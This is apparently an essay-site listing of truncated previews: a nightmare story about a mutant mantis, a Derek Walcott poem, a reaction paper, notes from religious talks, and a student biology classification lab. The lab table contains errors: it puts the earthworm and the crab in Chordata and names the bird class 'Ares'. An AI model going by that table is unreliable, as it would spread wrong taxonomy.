...during the last test and seen a bad dream. In this dream, he was in a fighting arena, ready to test his hand-to-hand combat skills. The opponent appeared and made him question his sanity. Towering before him was a giant mantis, a mutant made from various animal body parts. Hundreds of human eyeballs stared at him from its triangle face while its jaws chewed on air. Its enormous abdomen swayed from side to side. The mantis spread its jointed legs, straightened its thorax, and raised its bladed arms. Half of the surrounding crowd chanted his name: ‘An-dor! An-dor!’. The other half hissed something incoherent. The mutant opened its mouth and dashed toward Andor. He tried to run but fell down. The mantis picked him up. The sharp horns on its arms pierced his body and broke his bones. He screamed, but not for long for it quickly mauled him with its jaws, tore away his limbs and head. Unfortunately, the dream didn't end there. As if in a video game, he was respawned inside the arena, born again with all his limbs in place and not a single scratch on his body. This time, he knew what to expect, but was not ready for it anyway. He tried to run again. He tried to fight, but without a weapon, he didn’t have a chance. Over and over the dream repeated itself: mauled by the mantis, he died only to reappear and relive his execution once again. The pain and the crowd chanting drove him insane. He would give everything to stop it, but he had nothing to give except his life, which was taken from...

Words: 1605 - Pages: 7

Premium Essay

A Lesson for This Sunday

...The growing idleness of summer grass With its frail kites of furious butterflies Requests the lemonade of simple praise In scansion gentler than my hammock swings And rituals no more upsetting than a Black maid shaking linen as she sings The plain notes of some Protestant hosanna-- Since I lie idling from the thought in things-- Or so they should, until I hear the cries Of two small children hunting yellow wings, Who break my Sabbath with the thought of sin. Brother and sister, with a common pin, Frowning like serious lepidopterists. The little surgeon pierces the thin eyes. Crouched on plump haunches, as a mantis prays She shrieks to eviscerate its abdomen. The lesson is the same. The maid removes Both prodigies from their interest in science. The girl, in lemon frock, begins to scream As the maimed, teetering thing attempts its flight. She is herself a thing of summery light, Frail as a flower in this blue August air, Not marked for some late grief that cannot speak. The mind swings inward on itself in fear Swayed towards nausea from each normal sign. Heredity of cruelty everywhere, And everywhere the frocks of summer torn, The long look back to see where choice is born, As summer grass sways to the scythe’s design. “A Lesson for This Sunday” from Collected Poems: 1948-1984 by Derek Walcott. Copyright © 1986 by Derek Walcott. Reprinted by permission of Farrar, Straus and Giroux, LLC. A Lesson for This Sunday by Derek Walcott The title...

Words: 815 - Pages: 4

Premium Essay

The Hanging of the Mouse

...Reaction Paper - The Hanging of the Mouse Jamie Moore ENG/125 9/9/2011 Julia Reeves The storyline in this short story is that in a town made up of animals, all of the different species came together in the town square to watch a criminal mouse be hanged for his crimes. The writer used animal names, looks, or characteristics to fit them to a part in the story. The executioner is a raccoon, due to the fact that raccoons, like executioners, have black masks. A praying mantis was in charge of the religious ceremonies, because ‘praying’ is in the creature’s name and prayer is linked to religion. And large brown beetles were the soldiers because of their armor-like shells. The writer portrayed the mouse to be very remorseful of what he had done when the mouse hung his head and cried with sorrow as he was being taken to the noose. In the third paragraph, the story states that during the mouse’s walk of shame, the animals of the crowd tipped their heads back and sniffed the air with pleasure. This was most likely described in the story because animals are believed to be able to smell fear, as well as the fact that people often put their noses up in the air when they feel like they are better than others or to show another that they are being shamed. The story implies that the mouse had done something very serious to be hanged for his crimes, but the writer does not specify what the mouse’s crimes were. When the King’s messenger, who was a very large and overweight bullfrog...

Words: 790 - Pages: 4

Free Essay

Papazzazi

...Family is the testing ground for learning Love * Love is putting others above ourselves. Sorrow comes primarily from selfishness, which is the absence of love. * A man and a woman are to make sacred covenants that they will put the welfare and happiness of the other at the center of their lives. * Children are to be born into a family where parents hold the needs of the children equal to their own in importance. * Children learn to love parents and each other. * Choices to qualify that there will be no empty chairs in our families in the world to come Elder L Tom Perry * The pioneers left us a great heritage: learn from the past to help us manage the future * Reference to the Pagent of Manti. Pres Kimball promised a temple on the hill in Manti. * The older temples are built with sacrifice. * Use the lessons from the past to help meet the challenge. * Being baptized means you must teach others * The missionaries MUST teach investigators about the Restoration, the Plan of Salvation, the Gospel of Jesus Christ Bishop H David Burton * Let virtue garnish thy thoughts unceasingly, then shall thy confidence wax strong in the Lord * Virtue traits form the foundation of a Christ-like life * “Ity” virtues (charity, chastity, morality, etc) * We need not be...

Words: 835 - Pages: 4

Free Essay

Biology Research

...MY BIOLOGY S.B.A Lab #1 Topic: Classification Aim: To classify organisms into groups Apparatus: Method: A list of 10 organisms in my school environment was made and observed. A table was constructed to show the organism and their visible characteristics. Another table was constructed to show the kingdom, phylum and class to which the organisms belong. Observation Organism | Visible Characteristics | Bird | They are vertebrates with a pair of wings. They also have a beak | Cat | They are vertebrates that have sharp claws, a smooth coat of hair (fur) and panted teeth | Earth Worm | Has a long, ring-like segmental body, lives in the soil, has a clitellum | Lizard | Has a scaly skin, 2 pairs of legs | Crab | Has a hard exo-skeleton, has claws, four pairs of jointed legs, seen in wet places | | | Plants | | Pine | Has stems, roots and leaves, produces seed that grow inside cones | Fern | Has roots, stems and leaves, has spores on the underside of the leaves, does not have flower | Hibiscus | Produces flowers, has root, stems and leaves | Leaf of Life | Does not produce flower, has roots, stems and leaves | Mahogany | Has roots, Stems and leaves | | Organism | Kingdom | Phylum | Class | 1 | Bird | Animalia | Chordata | Ares | 2 | Cat | Animalia | Chordata | Mammalia | 3 | Earthworm | Animalia | Chordata | | 4 | Lizard | Animalia | Chordata | Reptilia | 5 | Crab | Animalia | Chordata | Crustacea | Plants 1 | Pine | Plantae...

Words: 3284 - Pages: 14